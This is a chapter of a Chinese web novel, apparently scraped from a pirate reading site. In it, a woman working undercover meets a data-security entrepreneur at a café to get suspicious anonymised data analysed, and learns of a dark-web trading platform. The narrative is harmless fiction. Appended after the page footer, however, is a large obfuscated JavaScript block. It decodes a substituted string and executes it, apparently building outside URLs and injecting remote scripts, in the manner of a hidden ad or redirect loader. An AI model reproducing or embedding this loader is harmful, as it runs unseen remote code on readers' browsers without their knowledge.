首页
第25章:破晓之光
返回
关灯 护眼:关 字号:小

第25章:破晓之光

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge521.com,更新快,无弹窗!

    第25章:破晓之光(第1/2页)
    路容保存了最后一份报表,关掉页面。屏幕暗下去的瞬间,映出她平静无波的脸。
    内部通讯软件突然弹出一条通知。
    「全体注意:今天下午两点,数据分析部所有人员到大会议室开会。不得缺席。」
    发信人:王总监。
    路容盯着那条通知,看了三秒。然后她移动鼠标,点下“已读”。
    窗外的阳光正烈,透过玻璃照进来,在桌面上投下一块晃眼的光斑。光斑边缘,灰尘在无声地飞舞。
    ***
    下午的会议持续了四十七分钟。
    王总监站在投影幕布前,脸上的表情像一块冻硬的石膏。她反复强调那篇匿名文章是“竞争对手的恶意抹黑”,要求部门员工“统一口径,不得私下讨论”。她的目光像探照灯一样扫过会议室里每一张脸,在路容身上停留的时间最长。
    路容低着头,在笔记本上记录着“会议要点”。
    她的字迹工整,笔画平稳。只有她自己知道,握着笔的手指在微微发颤——不是因为紧张,而是因为愤怒。王总监每说一句“维护公司形象”,她脑海里就闪过三年前李剑那张虚伪的脸。
    会议结束后,周哲在走廊里叫住了她。
    “若溪。”
    路容转过身。走廊的灯光从头顶照下来,在周哲脸上投下淡淡的阴影。他的表情有些复杂,像是想说什么,又不知道该怎么说。
    “周哥。”路容轻声回应。
    周哲走近两步,压低声音:“最近……少看行业新闻,专注手头工作就好。”
    他的声音很轻,但每个字都清晰。
    路容看着他。他的眼睛里没有试探,只有一种近乎笨拙的关心。这种关心让她心里某个地方微微发紧——愧疚像细小的针,扎进皮肤深处。
    “我明白,”她说,“谢谢周哥提醒。”
    周哲点点头,转身要走,又停住。
    “对了,”他说,“你上次问的那个数据清洗问题,我整理了一份更详细的文档,晚点发你邮箱。”
    “好。”
    路容看着他走远的背影,直到消失在走廊转角。然后她转身,走向自己的工位。
    每一步都踩在柔软的地毯上,没有声音。
    但她的心跳,在胸腔里敲得很重。
    ***
    晚上八点十七分,路容回到出租屋。
    她关上门,反锁。然后靠在门板上,闭上眼睛,长长地呼出一口气。
    房间里很暗,只有窗外路灯透进来的微弱光线。空气里有灰尘和旧家具的味道,还有她早上出门前忘记倒掉的隔夜咖啡的酸涩气息。
    她站了大概一分钟。
    然后睁开眼睛,走到书桌前,打开那台“干净”的私人电脑。
    屏幕亮起,蓝光映在她脸上。她登录了一个加密的技术社区论坛——这是沈薇帮她弄到的账号,身份信息完全匿名,IP地址经过多层跳转。
    论坛页面很简洁,大多是技术讨论帖。
    路容点开发帖界面。
    光标在标题栏闪烁。她想了想,输入:
    「关于大规模数据匿名化算法的优化构想——基于差分隐私与同态加密的混合模型」
    标题很长,很技术。
    但这是她能想到的,最安全、最不会引起怀疑的方式。
    正文部分,她花了两个小时撰写。每一个公式都仔细推导,每一个算法步骤都详细说明,甚至附上了模拟实验的数据对比图。这是她三年前在天启科技时就开始研究的课题,后来被迫中断,但核心思路一直留在脑海里。
    凌晨十二点三十八分,她点击“发布”。
    帖子出现在论坛的“前沿技术”板块。
    路容关掉页面,靠在椅背上。台灯的光晕在桌面上画出一个昏黄的圆,她能看见自己放在键盘上的手——手指修长,但指节处因为长时间打字而微微发红。
    她等。
    三天。
    这三天里,她在星耀集团继续扮演“若溪”。王总监的监控越来越密集——她工位上的监控摄像头角度被调整过,现在能更清楚地拍到她的屏幕;IT部门“例行检查”了她的电脑两次;甚至有一次,她在茶水间遇到林晓,那个同期入职的新人,对方看她的眼神躲躲闪闪,像是被交代过什么。
    路容全都装作不知道。
    她按时完成工作,按时参加例会,按时在周哲发来技术文档时回复“收到,谢谢周哥”。
    一切如常。
    只有深夜回到出租屋,登录那个加密论坛时,她才是另一个人。
    帖子下面陆续有了回复。
    大多是技术讨论,有人质疑她算法中的某个参数设置,有人提出改进建议。路容一一回复,用词专业,逻辑严谨。
    第四天晚上,她收到了一条私信。
    发信人ID:破晓_秦风。
    「溪流你好,我是‘破晓’创业者联盟的创始人秦风。看了你的算法构想,很受启发。我们团队最近也在研究类似方向,不知道是否有机会深入交流?」
    路容盯着那行字。
    屏幕的光映在她眼睛里,亮得有些刺眼。
    她移动鼠标,点开这个ID的资料页。认证信息显示:秦风,“破晓”创业者联盟创始人,前深港大学计算机系副教授,专注于数据安全与伦理技术创业。
    资料很干净,没有可疑之处。
    路容回复:「秦先生您好,感谢关注。我对‘破晓’联盟的理念有所了解,很欣赏你们在数据伦理方面的坚持。可以交流。」
    十分钟后,秦风回复:「本周六下午三点,‘深港创客咖啡馆’有一场小型技术沙龙,主题是‘数据安全的边界’。我会参加。如果你方便,我们可以见面聊聊。」
    路容的手指悬在键盘上方。
    见面。
    风险。
    但她需要第三方验证。她需要有人能帮她分析那些从“深蓝计划”外围数据中提取出的异常特征——那些特征太隐蔽,太专业,她自己分析的结果说服力不够。她需要权威的技术团队给出独立的结论。
    而“破晓”联盟,是目前最合适的选择。
    她回复:「好。我会戴黑色口罩和帽子,方便识别。」
    ***
    周六下午两点四十分。
    路容站在出租屋的穿衣镜前。
    镜子里的人穿着简单的灰色卫衣和黑色长裤,头发扎成低马尾,脸上戴着黑色口罩,头上压着一顶黑色棒球帽。帽檐压得很低,遮住了大半张脸。
    她看着镜子里的自己。
    三年前,她站在天启科技的落地窗前,穿着定制西装,妆容精致,眼神明亮。那时候的她,相信技术可以改变世界,相信努力会有回报,相信正义不会缺席。
    现在,镜子里的人像个影子。
    路容深吸一口气,转身拿起背包。包里装着那台“干净”的私人电脑,还有一份打印出来的技术文档——文档里隐去了所有敏感信息,只保留了算法框架和部分模拟数据。
    她出门。
    ***
    深港创客咖啡馆位于老城区的一条小巷里。
    巷子很窄,两边是斑驳的砖墙,墙上爬着枯黄的藤蔓。下午的阳光斜斜地照进来,在石板路上投下细长的光影。空气里有咖啡的香气,还有远处传来的、若有若无的爵士乐声。
    路容推开咖啡馆的门。
    风铃声清脆响起。
    室内光线昏暗,暖黄色的灯光从天花板上垂下来。墙壁是裸露的红砖,上面挂着各种科技公司的logo牌和创业团队的照片。空气中弥漫着咖啡豆烘焙的焦香,还有黄油和面粉在烤箱里混合的甜腻气息。
    沙龙区在咖啡馆最里面。
    七八张桌子拼在一起,周围坐了十几个人。大多是年轻人,穿着休闲,面前摆着笔记本电脑或平板。有人在低声讨论,有人在白板上画着流程图。
    路容扫了一眼。
    她很快认出了秦风——资料页上的照片是几年前拍的,但本人变化不大。三十五六岁的年纪,穿着浅蓝色的衬衫,袖子挽到手肘,戴一副黑框眼镜。他正低头看着手里的平板,眉头微皱,像是在思考什么。
    路容走过去。
    她在秦风对面的空位坐下。
    秦风抬起头。他的眼睛在镜片后面,眼神很清澈,带着一种学者特有的专注。
    “溪流?”他问,声音温和。
    路容点点头。口罩遮住了她的脸,但她的眼睛露在外面——她刻意让眼神保持平静,甚至有些疏离。
    “秦先生。”她的声音透过口罩传出来,有些闷。
    “叫我秦风就好,”他笑了笑,把平板放到一边,“很高兴你能来。你的算法构想我仔细看了,差分隐私和同态加密的混合模型——这个思路很巧妙,尤其是你在局部敏感度调整上的处理。”
    (本章未完,请点击下一页继续阅读)第25章:破晓之光(第2/2页)
    他说话语速不快,但每个词都很准确。
    路容从背包里拿出电脑,打开。
    “我在模拟实验中发现,传统差分隐私在应对高维数据关联攻击时存在漏洞,”她说,声音平稳,“而同态加密虽然能保护计算过程,但计算开销太大。混合模型试图在两者之间找到平衡点。”
    她调出几张图表。
    屏幕的光映在两人脸上。秦风身体前倾,仔细看着那些曲线和数据点。他的手指在桌面上轻轻敲击,像是在心里计算着什么。
    “这个平衡点的参数设置,你是怎么确定的?”他问。
    路容调出另一份文档。
    “基于数据分布的特征自适应调整,”她说,“我设计了一个轻量级的评估模块,实时监测数据流的统计特征,动态调整噪声注入的强度。”
    秦风的眼睛亮了一下。
    “有意思,”他说,“这让我想起我们团队最近在做的一个项目——医疗数据的跨机构联合分析。我们也在尝试类似的自适应隐私保护方案,但评估模块的设计比你这个复杂得多。”
    他拿起自己的平板,调出几张图。
    两人开始深入讨论。
    路容渐渐放松下来。秦风的问题很专业,但没有任何攻击性。他像是在进行一场纯粹的技术探讨,眼睛里只有对问题的好奇和专注。
    这种专注,让她想起了三年前的自己。
    那时候的她,也会为了一个算法优化方案熬夜到凌晨,会因为想到一个新的思路而兴奋得睡不着觉。
    “数据安全不仅仅是技术问题,”秦风突然说,他靠回椅背,端起桌上的咖啡喝了一口,“更是伦理问题。我们保护数据,到底是在保护什么?是用户的隐私,还是公司的利益?这两者经常冲突。”
    路容看着他。
    咖啡馆里的灯光在他脸上投下柔和的阴影。他的表情很认真,不像是在说客套话。
    “我认为是在保护人的尊严,”路容说,声音很轻,“数据是人的延伸。当数据被滥用,被交易,被用来操纵和伤害,人就不再是完整的人。”
    秦风沉默了几秒。
    然后他点点头。
    “我同意,”他说,“这也是‘破晓’联盟成立的初衷——我们想证明,技术可以既强大又善良,商业可以既成功又正直。”
    路容的手指在键盘上轻轻摩挲。
    她看着秦风的眼睛。那双眼睛很干净,没有她熟悉的、在星耀集团里常见的算计和伪装。
    也许,这是个机会。
    “秦先生,”她开口,声音依然平稳,“我最近在研究一些公开数据集的匿名化效果评估。过程中,我发现了一些……有趣的现象。”
    秦风放下咖啡杯。
    “什么现象?”
    路容调出另一份文档。这份文档是她精心准备的——里面包含了几组从“深蓝计划”外围数据中提取出的“匿名化特征”。这些特征被伪装成“公开数据集的异常样本”,附带了详细的技术分析。
    “你看这几组数据,”她指着屏幕,“表面上看,匿名化处理很完善——直接标识符被删除,准标识符被泛化,甚至加入了符合差分隐私要求的噪声。但是……”
    她放大其中一张图。
    “注意这些数据包的加密模式,”她说,“虽然内容被加密,但元数据的结构特征非常统一。更关键的是,这些数据包在网络传输过程中,会出现规律性的时间间隔波动——这种波动模式,我在其他公开数据集里从未见过。”
    秦风凑近屏幕。
    他的眉头皱了起来。
    “确实奇怪,”他说,“这种波动模式……像是人为设计的流量伪装。你在哪里找到的这些数据?”
    “一些公开的科研数据仓库,”路容说,声音没有任何波动,“我本来是想测试我的算法在不同数据源上的表现,结果发现了这些异常。”
    她停顿了一下。
    “秦先生,以你的经验看,这些特征可能意味着什么?”
    秦风盯着屏幕,手指在平板上快速滑动。他调出了几个分析工具,把路容提供的数据导入进去。图表在屏幕上跳动,曲线交错,数字滚动。
    咖啡馆里的爵士乐换了一首,萨克斯风的声音低沉而绵长。空气里的咖啡香气更浓了,混合着旁边桌上一份刚端上来的芝士蛋糕的甜腻味道。路容能听见自己的呼吸声,透过口罩,有些急促。
    她强迫自己平静下来。
    三分钟。
    五分钟。
    秦风抬起头。
    “这些特征,”他缓缓说,“不像是一般的匿名化处理失误。元数据结构的高度统一,说明背后有统一的处理流程;时间间隔的规律性波动,更像是为了规避流量分析而设计的伪装策略。”
    他看着路容。
    “溪流,你提供的这些样本,可能涉及更复杂的数据流转路径。如果我的猜测没错,这些数据在匿名化之后,可能还经历了其他处理——比如,被导入某个中间平台,进行二次加工或分发。”
    路容的心跳漏了一拍。
    但她控制住了表情。
    “二次加工或分发?”她问,“你的意思是……”
    “我的意思是,”秦风压低声音,“这些数据可能被用于非公开的目的。比如,商业数据交易。”
    路容沉默。
    咖啡馆里的灯光似乎暗了一下。她看见秦风眼镜片后面,那双眼睛里的专注变成了严肃。
    “秦先生,”她开口,声音比刚才更轻,“如果……如果我想进一步验证这个猜测,你有什么建议吗?”
    秦风看着她。
    他的目光在她脸上停留了几秒——虽然只能看到眼睛和口罩上方的皮肤,但他看得很认真。
    “我们团队可以帮你分析,”他说,“‘破晓’联盟有专门的数据安全实验室,设备和技术都很齐全。如果你愿意,可以把这些样本的完整技术特征提供给我们,我们做一次全面的风险评估。”
    路容的手指收紧。
    “需要多长时间?”
    “一周左右,”秦风说,“我们会从加密模式、元数据结构、网络行为特征等多个维度进行分析,给出技术报告。”
    他顿了顿。
    “不过溪流,我得提醒你——如果这些数据真的涉及非法交易,那背后可能牵扯到很复杂的利益网络。你确定要继续深入吗?”
    路容看着他。
    她的脑海里闪过很多画面。李剑的脸。王总监的眼神。周哲画在餐桌上的那个简图。还有三年前,她抱着纸箱走出天启科技大楼时,身后那些窃窃私语的声音。
    “我确定,”她说,声音很稳,“技术应该被用于保护人,而不是伤害人。如果这些数据真的有问题,我想知道真相。”
    秦风点点头。
    他的表情里多了一丝欣赏。
    “好,”他说,“你把数据发给我,我安排团队分析。另外……”
    他身体前倾,声音压得更低。
    “我们最近也在关注数据黑市的动态。有一个平台,叫‘暗网枢纽’,最近半年特别活跃。平台上流通的很多‘脱敏商业数据’,在技术特征上和你提供的这些样本有相似之处。如果你感兴趣,我可以把相关的监测报告发你一份。”
    路容的心脏猛地一跳。
    暗网枢纽。
    这个名字,她记下了。
    “谢谢,”她说,“我很感兴趣。”
    秦风笑了笑。他拿出手机,调出一个加密通讯软件的二维码。
    “加一下这个,”他说,“以后方便联系。数据和分析报告都通过这个渠道传输,更安全。”
    路容扫码,添加。
    她的联系人列表里,多了一个名字:破晓_秦风。
    ***
    下午四点二十分,路容离开咖啡馆。
    巷子里的阳光已经西斜,在石板路上投下更长的影子。风从巷口吹进来,带着初秋的凉意,卷起地上的几片落叶。落叶擦过地面,发出沙沙的轻响。
    路容拉紧卫衣的领口,快步走向地铁站。
    她的背包里,那台私人电脑已经关机。但她的脑海里,那个名字在反复回响。
    暗网枢纽。
    如果秦风说的是真的,如果“深蓝计划”的数据真的流向了那个平台……
    那她离真相,又近了一步。
    地铁站里人很多,空气闷热,混杂着汗味和香水味。广播里在播报到站信息,女声机械而平稳。路容挤进车厢,抓住扶手。车厢摇晃,灯光在头顶明灭。
    她看着车窗玻璃上自己的倒影。
    黑色口罩,黑色帽子,像个影子。
    但影子的眼睛里,有光在闪烁。
    那是火种。
    三年前被踩灭的火种,现在,正在灰烬深处重新燃起。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();